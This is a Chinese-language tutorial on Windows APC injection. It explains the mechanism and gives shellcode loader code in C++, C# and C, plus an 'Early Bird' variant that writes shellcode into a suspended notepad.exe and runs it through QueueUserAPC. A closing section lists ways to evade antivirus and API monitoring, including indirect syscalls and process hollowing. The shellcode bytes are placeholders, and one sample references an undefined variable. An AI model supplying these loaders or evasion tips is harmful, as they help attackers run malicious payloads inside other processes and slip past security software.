APC注入以及几种实现方式
字数 980 2025-08-29 08:32:18

APC注入技术详解

一、APC基础概念

1.1 什么是APC

APC(Asynchronous Procedure Call,异步过程调用)是Windows系统中的一种机制,它允许在特定线程环境中异步执行代码。APC是一个链状数据结构,每个线程都维护着自己的APC队列。

1.2 APC工作原理

  • 当线程从等待状态苏醒时,会自动检查自己的APC队列
  • 如果存在APC过程,线程会优先执行队列中的回调函数
  • APC执行遵循FIFO(先进先出)原则

1.3 APC类型

  1. 内核模式APC:由系统产生
  2. 用户模式APC:由应用程序产生

二、APC注入原理

2.1 基本注入流程

  1. 目标程序执行到等待函数时,系统产生中断
  2. 线程唤醒时优先调用APC队列中的回调函数
  3. 使用QueueUserAPC插入自定义回调
  4. 回调地址设置为LoadLibrary,参数设置为DLL路径

2.2 关键API函数

DWORD QueueUserAPC(
  [in] PAPCFUNC pfnAPC,    // APC函数指针
  [in] HANDLE hThread,     // 目标线程句柄
  [in] ULONG_PTR dwData    // 传递给APC函数的参数
);

2.3 注入前置条件

  1. 线程在进程内执行
  2. 线程会调用APC队列中的函数
  3. 应用有权限向目标线程的APC队列添加函数
  4. 线程必须处于alertable状态才能执行APC

三、APC注入实现方式

3.1 C++实现

#include <Windows.h>
#include <iostream>

unsigned char shellcode[] = "<shellcode>";

int main() {
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
    SIZE_T buff = sizeof(shellcode);
    STARTUPINFOA sInfo = {0};
    PROCESS_INFORMATION pInfo = {0};
    
    // 创建挂起进程
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, 
                  CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);
    
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;
    
    // 在目标进程分配内存
    LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, 
                                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
    
    // 写入shellcode
    WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
    
    // 插入APC并恢复线程
    QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
    ResumeThread(hThread);
    
    return 0;
}

3.2 C#实现

using System;
using System.Runtime.InteropServices;

public class shellcode {
    [DllImport("Kernel32", SetLastError=true)]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
    
    [DllImport("Kernel32", SetLastError=true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 
                                             uint dwSize, uint flAllocationType, uint flProtect);
                                             
    [DllImport("Kernel32", SetLastError=true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                               object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
                                               
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint ResumeThread(IntPtr hThread);
    
    // 枚举和结构体定义...
    
    public static PROCESS_INFORMATION StartProcess(string binaryPath) {
        uint flags = 0x00000004; // CREATE_SUSPENDED
        STARTUPINFO startInfo = new STARTUPINFO();
        PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
        CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, 
                     false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
        return procInfo;
    }
    
    public void Execute() {
        string b64 = "<shellcode>";
        string targetprocess = "C:/Windows/System32/notepad.exe";
        byte[] shellcode = Convert.FromBase64String(b64);
        uint lpNumberOfBytesWritten = 0;
        
        PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
        IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, 
                                   (uint)processInfo.dwProcessId);
        
        // 分配内存并写入shellcode
        IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 
                                          (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, 
                                          (uint)MemProtect.PAGE_EXECUTE_READWRITE);
        
        if(WriteProcessMemory(pHandle, rMemAddress, shellcode, 
                            (uint)shellcode.Length, ref lpNumberOfBytesWritten)) {
            IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, 
                                      (uint)processInfo.dwThreadId);
            IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
            ResumeThread(tHandle);
        }
        
        CloseHandle(pHandle);
    }
}

3.3 C语言简化实现

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {0xfc,0x48,0x83}; // shellcode
unsigned int buff = sizeof(shellcode);

int main(void) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    void * ptApcRoutine;
    
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    
    CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
    
    ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID)shellcode, (SIZE_T)buff, (SIZE_T *)NULL);
    
    QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
    ResumeThread(pi.hThread);
    
    return 0;
}

四、APC注入变种:Early Bird技术

4.1 Early Bird原理

Early Bird是APC注入与线程劫持的变体,利用线程初始化时会调用NtTestAlert函数的特性:

  • NtTestAlert会检查当前线程的APC队列
  • 线程启动时,在执行任何操作前会先调用NtTestAlert
  • 如果在初始状态下操作APC,可以可靠地执行shellcode

4.2 Early Bird实现

C语言实现

#include <Windows.h>

int main() {
    unsigned char shellcode[] = "<shellcode>";
    SIZE_T shellSz = sizeof(buff);
    
    STARTUPINFOA st = {0};
    PROCESS_INFORMATION prt = {0};
    
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 
                  FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
    
    HANDLE victimProcess = prt.hProcess;
    HANDLE threadHandle = prt.hThread;
    
    LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, 
                                     MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
    
    WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);
    
    return 0;
}

Go语言实现

参考项目: go-shellcode EarlyBird

五、防御与绕过

5.1 常见防御检测

  1. 360等安全软件会检测APC注入行为
  2. 监控QueueUserAPC等敏感API调用
  3. 检查进程创建时的挂起状态

5.2 可能的绕过方式

  1. 使用合法的进程进行注入
  2. 结合其他注入技术(如进程镂空)
  3. 使用间接系统调用避免API监控

六、参考资源

  1. Microsoft QueueUserAPC文档
  2. Shellcode Injection via QueueUserAPC
  3. APC Queue Code Injection
APC注入技术详解 一、APC基础概念 1.1 什么是APC APC(Asynchronous Procedure Call,异步过程调用)是Windows系统中的一种机制,它允许在特定线程环境中异步执行代码。APC是一个链状数据结构,每个线程都维护着自己的APC队列。 1.2 APC工作原理 当线程从等待状态苏醒时,会自动检查自己的APC队列 如果存在APC过程,线程会优先执行队列中的回调函数 APC执行遵循FIFO(先进先出)原则 1.3 APC类型 内核模式APC :由系统产生 用户模式APC :由应用程序产生 二、APC注入原理 2.1 基本注入流程 目标程序执行到等待函数时,系统产生中断 线程唤醒时优先调用APC队列中的回调函数 使用QueueUserAPC插入自定义回调 回调地址设置为LoadLibrary,参数设置为DLL路径 2.2 关键API函数 2.3 注入前置条件 线程在进程内执行 线程会调用APC队列中的函数 应用有权限向目标线程的APC队列添加函数 线程必须处于alertable状态才能执行APC 三、APC注入实现方式 3.1 C++实现 3.2 C#实现 3.3 C语言简化实现 四、APC注入变种:Early Bird技术 4.1 Early Bird原理 Early Bird是APC注入与线程劫持的变体,利用线程初始化时会调用 NtTestAlert 函数的特性: NtTestAlert 会检查当前线程的APC队列 线程启动时,在执行任何操作前会先调用 NtTestAlert 如果在初始状态下操作APC,可以可靠地执行shellcode 4.2 Early Bird实现 C语言实现 Go语言实现 参考项目: go-shellcode EarlyBird 五、防御与绕过 5.1 常见防御检测 360等安全软件会检测APC注入行为 监控QueueUserAPC等敏感API调用 检查进程创建时的挂起状态 5.2 可能的绕过方式 使用合法的进程进行注入 结合其他注入技术(如进程镂空) 使用间接系统调用避免API监控 六、参考资源 Microsoft QueueUserAPC文档 Shellcode Injection via QueueUserAPC APC Queue Code Injection